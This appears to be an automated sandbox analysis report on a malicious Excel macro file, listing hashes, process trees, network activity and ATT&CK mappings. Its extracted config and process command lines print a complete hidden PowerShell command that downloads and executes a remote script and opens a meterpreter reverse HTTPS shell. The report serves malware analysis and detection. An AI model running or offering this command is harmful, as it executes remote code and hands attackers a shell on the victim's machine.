f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55 | Triage

Analysis

max time kernel
19s
max time network
16s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 21:57 UTC

Sharing

Report Analysis Logs

General

Target

f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55.xls
Size

35KB
MD5

37c6ff0b9bc51d0fcb452256f18a598b
SHA1

53eb945d5f264f9bce3ec8da311544d3aa6d3f4d
SHA256

f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55
SHA512

6c21282c8a5052703299122cd25f03ba1ffccbbdcfe670ae68f001953e246695b1685a37669061a1eb7cd8893776da04f963a1592a4fdbca1e514601ef42a632
SSDEEP

768:Ftvo+/zZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJ9QCv/1f93:t1k3hbdlylKsgqopeJBWhZFGkE+cL2NO

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

1
IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3000	2892	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2836	2544	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	3000	powershell.exe
7	3000	powershell.exe
8	2384	powershell.exe
9	2384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

PowerShell

pid	Process
3000	powershell.exe
2384	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com
8	raw.githubusercontent.com
9	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2544	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3000	powershell.exe
2384	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2544	EXCEL.EXE
2544	EXCEL.EXE
2544	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2836	2544	EXCEL.EXE	33
PID 2544 wrote to memory of 2836	2544	EXCEL.EXE	33
PID 2544 wrote to memory of 2836	2544	EXCEL.EXE	33
PID 2544 wrote to memory of 2836	2544	EXCEL.EXE	33
PID 2836 wrote to memory of 2384	2836	wscript.exe	34
PID 2836 wrote to memory of 2384	2836	wscript.exe	34
PID 2836 wrote to memory of 2384	2836	wscript.exe	34
PID 2836 wrote to memory of 2384	2836	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000

Network

DNS

raw.githubusercontent.com

powershell.exe

Remote address:

8.8.8.8:53

Request

raw.githubusercontent.com

IN A

Response

raw.githubusercontent.com

IN A

185.199.111.133

raw.githubusercontent.com

IN A

185.199.108.133

raw.githubusercontent.com

IN A

185.199.109.133

raw.githubusercontent.com

IN A

185.199.110.133

185.199.111.133:443

raw.githubusercontent.com

tls

powershell.exe

359 B
219 B
5
5
185.199.111.133:443

raw.githubusercontent.com

tls

powershell.exe

359 B
219 B
5
5
185.199.111.133:443

raw.githubusercontent.com

tls

powershell.exe

359 B
219 B
5
5
185.199.111.133:443

raw.githubusercontent.com

tls

powershell.exe

359 B
219 B
5
5

8.8.8.8:53

raw.githubusercontent.com

dns

powershell.exe

71 B
135 B
1
1

DNS Request

raw.githubusercontent.com

DNS Response

185.199.111.133

185.199.108.133

185.199.109.133

185.199.110.133

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Web Service

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q3C17KOP9SF5JUIRLDIT.temp

Filesize
7KB

MD5
87ad9165900c1699cd0a201fe192ff59

SHA1
e3325d8d32baa8c250a43c8110a62e6dd91a2e1c

SHA256
8f3bc412af2b605c78cb1126318d831e2975de9ae1211df9f1b8dcf02067dc34

SHA512
330fb8bcc2d8d0af4880330023f0ebf970866353d91e59f0ea355ace0add9b98a03a3a247c5252b2fc68e6b6a504be793d3fc314998fee1a935d916d6f443136

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/2544-39-0x0000000006420000-0x0000000006520000-memory.dmp

Filesize
1024KB

Download
memory/2544-18-0x0000000006420000-0x0000000006520000-memory.dmp

Filesize
1024KB

Download
memory/2544-37-0x0000000006420000-0x0000000006520000-memory.dmp

Filesize
1024KB

Download
memory/2544-38-0x0000000006420000-0x0000000006520000-memory.dmp

Filesize
1024KB

Download
memory/2544-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2544-17-0x0000000006420000-0x0000000006520000-memory.dmp

Filesize
1024KB

Download
memory/2544-1-0x0000000072C8D000-0x0000000072C98000-memory.dmp

Filesize
44KB

Download
memory/2544-49-0x0000000072C8D000-0x0000000072C98000-memory.dmp

Filesize
44KB

Download
memory/2544-50-0x0000000006420000-0x0000000006520000-memory.dmp

Filesize
1024KB

Download
memory/3000-45-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/3000-46-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download